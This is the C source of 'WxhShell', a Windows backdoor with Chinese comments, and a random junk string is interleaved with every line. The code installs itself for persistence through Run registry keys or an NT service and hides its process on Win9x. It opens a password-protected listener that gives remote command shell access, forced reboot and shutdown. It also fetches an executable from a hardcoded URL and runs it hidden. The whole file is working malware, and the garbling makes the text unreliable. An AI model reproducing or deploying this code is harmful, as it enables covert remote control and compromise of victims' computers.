<<S PROCESS_BASIC_INFORMATION pbi; :ebu8H9f% p+.xye U( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4`X]$. if(NULL == hInst ) return 0; eE=}^6)(* ;xXD2{q g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dp|VQWCq g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JKjVrx>
@ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y"I8^CA z<I@SI^> if (!NtQueryInformationProcess) return 0; w%2|Po5 XJSI/jpa@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uUIjntSF( if(!hProcess) return 0; L\cbY6b
,%^qzoZnT if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /z)H7s+ evQk,;pIm CloseHandle(hProcess); S%Bm4jY ,5XDH6L1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LlF|VR&P. if(hProcess==NULL) return 0; hy}n&h w3>.d(Q HMODULE hMod; j>I.d+ char procName[255]; 8ioxb`U unsigned long cbNeeded; hfL8]d- c#L.I if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6j6P&[ CBu$8]9= CloseHandle(hProcess); ] vQU(@+I y**>l{!! if(strstr(procName,"services")) return 1; // 以服务启动 /4Sul*{hc $=ua$R4Z+ return 0; // 注册表启动 )J(@e4;Rv } p9Y`_g` Pm=i(TBS/ // 主模块 JfVGs;_, int StartWxhshell(LPSTR lpCmdLine) Dy|DQ> ?} { IWNIk9T,u SOCKET wsl; _n12Wx{ BOOL val=TRUE; [W--%=Ou int port=0; ?y4vHr"c struct sockaddr_in door; 1vL$k[^&d Zoyo:vv& if(wscfg.ws_autoins) Install(); K/D,sH! V?C_PMa port=atoi(lpCmdLine); vy{YGT kOLS<>. if(port<=0) port=wscfg.ws_port; tbq_Rg7s V~ [I /Vi WSADATA data;
j.vBld if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F/chE c
V DOGg=`XK1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; MnT+p[. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !|;w(/ door.sin_family = AF_INET; d+Bz
pS@p door.sin_addr.s_addr = inet_addr("127.0.0.1"); %{K6 door.sin_port = htons(port); ^bckl
tSo Q=cbHDB if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;WpPdR2 closesocket(wsl); ,O}2LaK.O return 1; 6P:H` } uH?lj& Y'S9
if(listen(wsl,2) == INVALID_SOCKET) { rXR}]|;> closesocket(wsl); )#n>))
return 1; Y2Y!^A89 } [j`-R
0Np Wxhshell(wsl); Lu?)Rya WSACleanup(); *tZ#^YG{( &5u[q return 0; |;B
'C# Y)X58_En } /+F|+1 5"JnJH // 以NT服务方式启动 pd{;`EW| VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H9Pe,eHs { jn;b{*Lf DWORD status = 0; 7J%v""\1! DWORD specificError = 0xfffffff; ,As78^E{ 8Bnw//_pT serviceStatus.dwServiceType = SERVICE_WIN32; <.<Q.z serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;ckv$S[p serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
K{00 V# serviceStatus.dwWin32ExitCode = 0; ~Zd n#z\ serviceStatus.dwServiceSpecificExitCode = 0; {@u}-6:wAT serviceStatus.dwCheckPoint = 0; (d C<N3 serviceStatus.dwWaitHint = 0; IBzHXa>75 q61
rNOw_ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IK6XJsz$J if (hServiceStatusHandle==0) return; Gr;~P* ZN ?P4#ZS status = GetLastError(); dkQA[/k if (status!=NO_ERROR) uXNf)?MpA { Fq5);sX= serviceStatus.dwCurrentState = SERVICE_STOPPED; NB&u^8b serviceStatus.dwCheckPoint = 0; (;T;?v`- serviceStatus.dwWaitHint = 0; IfZaK([ serviceStatus.dwWin32ExitCode = status; >P=xzg79 serviceStatus.dwServiceSpecificExitCode = specificError; @$79$:q N SetServiceStatus(hServiceStatusHandle, &serviceStatus); GfQP@R" return; 7,e=|%7. } `q exEk@S ++13m*fA serviceStatus.dwCurrentState = SERVICE_RUNNING; Dg#A b8 serviceStatus.dwCheckPoint = 0; 'eo2a&S2D serviceStatus.dwWaitHint = 0; ANCgch\ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ii*Ty!Sa } M{7EFTy!y j>s%q. // 处理NT服务事件,比如:启动、停止 kx1-.~)p(z VOID WINAPI NTServiceHandler(DWORD fdwControl) F
,{nG[PL { ;<q@>p[ switch(fdwControl) YS{ { F,O+axO
ja case SERVICE_CONTROL_STOP: va;d[D,
serviceStatus.dwWin32ExitCode = 0; EW4XFP4
c serviceStatus.dwCurrentState = SERVICE_STOPPED; (U`7[F serviceStatus.dwCheckPoint = 0; 9~,eu serviceStatus.dwWaitHint = 0; nL+*Ja { |<ke>j/6n SetServiceStatus(hServiceStatusHandle, &serviceStatus); eOn,`B1 } HXdPKS4q return; FZA8@J|Q4 case SERVICE_CONTROL_PAUSE: ^[%~cG serviceStatus.dwCurrentState = SERVICE_PAUSED; 2%W(^Lj break; z4-AOTo2y case SERVICE_CONTROL_CONTINUE: +n MgQOs serviceStatus.dwCurrentState = SERVICE_RUNNING; V6$v@Zq break; rP`\<}a. case SERVICE_CONTROL_INTERROGATE: Y+?bo9CES! break; O~,^x$ve }; il-&d]AP SetServiceStatus(hServiceStatusHandle, &serviceStatus); {.,OPR"\ } Gs?W7}<$ 5Ij_$a // 标准应用程序主函数 I;-{#OE, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (Z,,H1L { KH
KqE6 Z=F=@ <! // 获取操作系统版本 DR0W)K
^ OsIsNt=GetOsVer(); N M8F GetModuleFileName(NULL,ExeFile,MAX_PATH); Uero!+_ e#'`I^8l // 从命令行安装 bY>o%LL- if(strpbrk(lpCmdLine,"iI")) Install(); R9CAw>s iqoPD4A // 下载执行文件 _u:#2K$ if(wscfg.ws_downexe) { VS).!;>z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,OasT!Sr WinExec(wscfg.ws_filenam,SW_HIDE); WJ.PPq>]F } f8&=D4)-w 2#!$f_ if(!OsIsNt) { {9l4 pT3 // 如果时win9x,隐藏进程并且设置为注册表启动 FD@! z
: HideProc(); )@Zel.XD StartWxhshell(lpCmdLine); K0E;4r } ,DE%p
+q else S$H4xkKs if(StartFromService()) ]DUH_<3"E // 以服务方式启动 %eah=e StartServiceCtrlDispatcher(DispatchTable); nu3 A'E`'k else r=w%"3vb^ // 普通方式启动 'qM3.U StartWxhshell(lpCmdLine); q/3}8BJ Ka{Iue Ss return 0; Yr31GJ}K } =[k9{cVW ji8Rd"S w}1)am&pD eP2 y U =========================================== ld?M,Qd o&AUB`.9~ 4Ek<
5s[ ;|^fAc~9{r f@}( <# lR(&Wc\j " evs2dz<eA iBi/9 #include <stdio.h> p&\uF#I;
#include <string.h> LH_ 2oJ\ #include <windows.h> vP?yl "U #include <winsock2.h> hB.dqv]^ #include <winsvc.h> a@a1/3 #include <urlmon.h> u<8Q[_E& 4J_%quxO #pragma comment (lib, "Ws2_32.lib") aj,ZM,Ad #pragma comment (lib, "urlmon.lib") qb<gh D=j 3edAI&a5 #define MAX_USER 100 // 最大客户端连接数 Xm4wuX"e= #define BUF_SOCK 200 // sock buffer Vg+SXq6G #define KEY_BUFF 255 // 输入 buffer d;^?6V |<V{$),k #define REBOOT 0 // 重启 fkG8,= #define SHUTDOWN 1 // 关机 w-"&;klV e)7)~g54 #define DEF_PORT 5000 // 监听端口 xr/k.Fz &zp5do;m #define REG_LEN 16 // 注册表键长度 s`B'vyoaa #define SVC_LEN 80 // NT服务名长度 }';&0p2Z 5^dw!^d // 从dll定义API >guQY I@4, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =FbfV*K9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zaZ}:N/w(z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ts]7 + 6V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GN<I|mGLJK MH?B.2 // wxhshell配置信息 JW\"S struct WSCFG { $ZU(bEUOG int ws_port; // 监听端口 zT% kx:Fk char ws_passstr[REG_LEN]; // 口令 agYKaM1N int ws_autoins; // 安装标记, 1=yes 0=no Kq$Zyf=E char ws_regname[REG_LEN]; // 注册表键名 $-RhCnE char ws_svcname[REG_LEN]; // 服务名 -?RQ%Ue char ws_svcdisp[SVC_LEN]; // 服务显示名 ="DgrH char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,lnuu char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?5Fj]Bk] int ws_downexe; // 下载执行标记, 1=yes 0=no WI6E3,ejB1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x\rZoF.NQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
n@Ag`} |DW'RopM }; Z|c9%., co3 ,8\N0 // default Wxhshell configuration q,DX{: struct WSCFG wscfg={DEF_PORT, DBUwf1=qj "xuhuanlingzhe", o0'av+e7 1, ~@8d[Tb "Wxhshell", -G;1U "Wxhshell", pL@zZK0 "WxhShell Service", FW DuH`-5 "Wrsky Windows CmdShell Service", M9#QS`G "Please Input Your Password: ", {*<C!Qg 1, [,^dM:E/ "http://www.wrsky.com/wxhshell.exe", 3kCbD=yF "Wxhshell.exe" \z9?rvT: }; `tG_O Y:,R7EO{! // 消息定义模块 j>xVy]v= | char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a*j <TR char *msg_ws_prompt="\n\r? for help\n\r#>"; /8}+#h)[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p*,P%tX char *msg_ws_ext="\n\rExit."; C|\^uR0 char *msg_ws_end="\n\rQuit."; wW8
6rB char *msg_ws_boot="\n\rReboot..."; Db=>7@h3C char *msg_ws_poff="\n\rShutdown..."; =h::VB}Lv char *msg_ws_down="\n\rSave to "; 1gm/{w6O /K) b0QX char *msg_ws_err="\n\rErr!"; GB?#1|, char *msg_ws_ok="\n\rOK!"; oks=|'& 8(5E<&JP char ExeFile[MAX_PATH]; ;j U-< int nUser = 0; H?j-=Zka HANDLE handles[MAX_USER]; 9K46>_TyH int OsIsNt; MQ(/l_=zQ 4 Qel; SERVICE_STATUS serviceStatus; B"m:<@ " SERVICE_STATUS_HANDLE hServiceStatusHandle; =9 M|o0aY 8TZA T%4 // 函数声明 T[h}A"yK; int Install(void); v^W?o}W int Uninstall(void); &JhIn%=- int DownloadFile(char *sURL, SOCKET wsh); fslk7RlSKg int Boot(int flag); pq?[ wp" void HideProc(void); NB5L{Gf6- int GetOsVer(void); IHbo w0' int Wxhshell(SOCKET wsl); W(a'^
#xe void TalkWithClient(void *cs); e4qk>Cw int CmdShell(SOCKET sock); C}=_8N int StartFromService(void); (U'7Fc int StartWxhshell(LPSTR lpCmdLine); :+
9Ft> mXU?+G0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +%}5{lu_e VOID WINAPI NTServiceHandler( DWORD fdwControl ); wGzXp5
dl [wio/wc // 数据结构和表定义 nUud?F^_ SERVICE_TABLE_ENTRY DispatchTable[] = O&gwr { !qXq
y}?w {wscfg.ws_svcname, NTServiceMain}, %*5g<5 {NULL, NULL} j+13H+dN }; }8V;s-1 x-V' 0-#U> // 自我安装 ^dUfTG9{ int Install(void) E8iadf49 { F0BOhlK char svExeFile[MAX_PATH]; DtF![0w/ HKEY key; D;^ZWz0 strcpy(svExeFile,ExeFile); e(n2+S#N SEQO2`]e: // 如果是win9x系统,修改注册表设为自启动 Nx4DC if(!OsIsNt) { c(Uj'uLc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v[,v{5b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jl}!CE@- RegCloseKey(key); F@_Egi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D)*_{
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `FYtiv?G RegCloseKey(key); 1FD7~S| return 0; L^5&GcHP0 } ^;)SFmjg% } U=c5zrs } !8
wid& else { vbWJhjK0h '#McY'.D T // 如果是NT以上系统,安装为系统服务 f
$.\o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0i`v:Lq% if (schSCManager!=0) 3Y1TQ;i,wQ { F;?TR[4!k SC_HANDLE schService = CreateService P,$[|)[E ( ~4=]%XYz schSCManager, |~/3u/ wscfg.ws_svcname, :\1rQT wscfg.ws_svcdisp, iJCY /*C} SERVICE_ALL_ACCESS, X|-v0 f
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {hvQ<7b SERVICE_AUTO_START, c6?c>*z SERVICE_ERROR_NORMAL, d739UhKC svExeFile, gfdPx:7^ NULL, ?b*/ddIs NULL, k lP{yxU'n NULL, dr,B\.|jC NULL, %S
>xSqX NULL _q$0lqq~u ); pjX%LsX\ if (schService!=0) S|{Yvyp { DJ1XNpm CloseServiceHandle(schService); AMh37Xo CloseServiceHandle(schSCManager); Ad}-I%Ie strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f7_\).T strcat(svExeFile,wscfg.ws_svcname); 80FCe(U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tAb;/tM3I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <t?x 'r?@ RegCloseKey(key); 7~!I2DV_ return 0; K)Df}fVOc } *tTP8ZCQ[ } r!=]Q}`F CloseServiceHandle(schSCManager); XJ
f+Eh } U,%s; } .KT 7le<Zm e/]O<, * return 1; "B|nh d } LCo1{wi p<of<YU) // 自我卸载 '|YtNhWZ? int Uninstall(void) ^w;o \G { 4)z3X\u|Z2 HKEY key; yM (_P0 .x)>f if(!OsIsNt) { tIi!*u
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pTa'.m RegDeleteValue(key,wscfg.ws_regname); !7:EE,W~ RegCloseKey(key); a^RZsR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o
:.~X RegDeleteValue(key,wscfg.ws_regname); ,X9hl J RegCloseKey(key); S_(&UeTC return 0; R7E]*:0} } ax-=n ( } &q," !:L] } 96.IuwL*.s else { 5S&aI{;9< U-Af7qO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uHfhRc9 if (schSCManager!=0) 9>A-$a4R> { "_nX5J9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v
t^r1j if (schService!=0) ]h #WkcXQ { r :fwrC if(DeleteService(schService)!=0) { Bv;I0i:_
CloseServiceHandle(schService); Q9`s_4 CloseServiceHandle(schSCManager); Am2*- return 0; DWF
>b } &E.OyqGZV CloseServiceHandle(schService); ,DE(5iDS } 0^J*+ CloseServiceHandle(schSCManager); 1k!D0f3qb } MB}:GY? } mcvDxjk,h $@_YdZ! return 1; 'jh2**i 34 } n
(OjjRm Wl,%&H2S< // 从指定url下载文件 11i"nR| int DownloadFile(char *sURL, SOCKET wsh) *
zd. { @; W<dJ<X HRESULT hr; 0w^jls char seps[]= "/"; XZF%0g2$b char *token; Zkw J.SuU char *file; =fY lzZh char myURL[MAX_PATH]; uEBQoP2 char myFILE[MAX_PATH]; g;$E1U=R-E +nU' ,E strcpy(myURL,sURL); Us1@\|] token=strtok(myURL,seps); 4#TnXxL while(token!=NULL) Sq?,C&LsA { .=?Sz*3 file=token; 6!*K/2:O token=strtok(NULL,seps); fW(; } |d5ggf.w *^n^nnCwp GetCurrentDirectory(MAX_PATH,myFILE); C,[L/! strcat(myFILE, "\\"); AzZi{Q ? strcat(myFILE, file); QyTh!QM~` send(wsh,myFILE,strlen(myFILE),0); 3QH(4N send(wsh,"...",3,0); 'T%IvJ#Xu hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @v"T~6M if(hr==S_OK) Xe)Pg)J1 return 0; EH(tUwY%{ else n:F@gZd` return 1; aWdUuid ,Ak ^nX } I`lDWL tAaYL
\~ // 系统电源模块 M\I_{Q?_ int Boot(int flag) v<j2L"bj { ubD#I{~J HANDLE hToken; ~M*7N@D TOKEN_PRIVILEGES tkp; $\+"qs) Yi[4DfA if(OsIsNt) { X!o@f$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =<Hy"4+?. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
j|ozGO tkp.PrivilegeCount = 1; P?xA$_+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ozm; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jn~!V!++ if(flag==REBOOT) { qv.n9 9?] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P7'M],!9w return 0; >;m{{nj } |%-YuD else { 0Qt~K#mr/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |l$
u<3
return 0; L+7*NaPY* } bZu$0IG } #o~[1K+Yq else { ad9EG#mD# if(flag==REBOOT) { FbmsN)mv!% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )x)gHY8; return 0; :fhB*SYK } z[*zuo else { wBLsz/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8'+7i8e return 0; Y4`QK+~fH } Gj)uyjct } ?x'w~;9R/ <vL}l: r return 1;
Ll?g.z" } \,hrk~4U;( EPv%LX_j // win9x进程隐藏模块 2!BsEvB( void HideProc(void) )}quw"H { 7pz\ScSe f'i6QMk\& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :4U0I:J# if ( hKernel != NULL )
A=0@UqM { {-J:4*` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a/:]"`) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :1*zr FreeLibrary(hKernel); tR5tPPw } Et.j1M|g v"/TmiZ return; /e .D/;] } 4
]sCr+ ^g[J*{+!W // 获取操作系统版本 g9`[Y~ int GetOsVer(void) 'd+:D' { O<>#>[ OSVERSIONINFO winfo; 6W$rY] h! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b#A(*a_gN GetVersionEx(&winfo); uS&LG#a if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @ R UP$ return 1; 1g~y]iQ else ?|lI Xz return 0; v~f'K3fLp } `/0u{[
y~dB5/ // 客户端句柄模块 P,U$ %C! int Wxhshell(SOCKET wsl) F(;jM( { CIEJql?` SOCKET wsh; ;$z7[+M struct sockaddr_in client; GZ"&L?ti DWORD myID; ~GA8_B zA,/@/'( while(nUser<MAX_USER) 0d";Hh: {
Y<aO int nSize=sizeof(client); |_, /u_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K?[)E3 if(wsh==INVALID_SOCKET) return 1; G0pBR]_5z$ dqxd3,Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $
o"
L;j if(handles[nUser]==0) _[F@1NJ closesocket(wsh); Q-(Dk?z{ else $o"g73`3 nUser++; 2kVp_=c } rw]yKH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3p&jLFphL `.[ 8$ return 0; *Q5x1!#z# } K#wK1 Sv Y1WHy*s? // 关闭 socket z&>|*C.Y void CloseIt(SOCKET wsh) ULIFSd Y { :/i~y $t closesocket(wsh); ;iQp7aW{$ nUser--; +9C;<f ExitThread(0); jq[x DwPG } l2s{~ IC >(3'Tnu // 客户端请求句柄 l])Q.m void TalkWithClient(void *cs) hiN/S|JN8y { T
.hb#oO cQn)^jx= SOCKET wsh=(SOCKET)cs; Ka.Nr@Rq*~ char pwd[SVC_LEN]; Ye@t_,)x char cmd[KEY_BUFF]; wV:C<Mg7q char chr[1]; OX^3Q:Z= int i,j; vhpvO>Q M~p=#V1D while (nUser < MAX_USER) { Wcn[gn< "xn|zB if(wscfg.ws_passstr) { "H?QqrKx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :XYy7xz< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uREu2T2 //ZeroMemory(pwd,KEY_BUFF); qtY
m!g i=0; {R8=}Qo while(i<SVC_LEN) { >A=\8`T^ vI|As+`$d // 设置超时 { 8p\Y fd_set FdRead; /AR]dcL@76 struct timeval TimeOut; "Yby FD_ZERO(&FdRead); KuXkI;63J> FD_SET(wsh,&FdRead); c&m9)r~zP TimeOut.tv_sec=8; vYdlSe=6G TimeOut.tv_usec=0; uw"*zBxl int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !.-.#<<_a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^mf jn-=3 kc Y,vl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
w~LU\Ct pwd=chr[0]; 7xT[<?, if(chr[0]==0xd || chr[0]==0xa) { n| C|& pwd=0; no|Gq>Xp break; &D*8l?A/1f } jyQVSQs i++;
W_}/ O'l{ } FUqt)YHi ]nc2/S% // 如果是非法用户,关闭 socket v20~^gKo=m if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s#P:6]Ar } 8W,*eke? +>#e=nH send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U&Ab#m; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s5AgsMq 6#|qg*OS while(1) { Mpm#GdT ls @5^g ZeroMemory(cmd,KEY_BUFF); I4~^TrznRa }p{;^B // 自动支持客户端 telnet标准 #HG&[Ywi j=0; 1R^4C8*B while(j<KEY_BUFF) { G#lg|# -# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !g2a|g cmd[j]=chr[0]; [gZDQcU if(chr[0]==0xa || chr[0]==0xd) { j ug'g cmd[j]=0; G"> 0]LQ break; ?gG, t4D } sg$4G:l j++; [+gzdLad } 5~U:@Tp -[$&s FD // 下载文件 @d)LRw.I if(strstr(cmd,"http://")) { )&z4_l8`= send(wsh,msg_ws_down,strlen(msg_ws_down),0); .YC;zn^ if(DownloadFile(cmd,wsh)) k*Pz&8| send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1i+FL'' else ~6sE an3p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9P0yv3 } Snx< |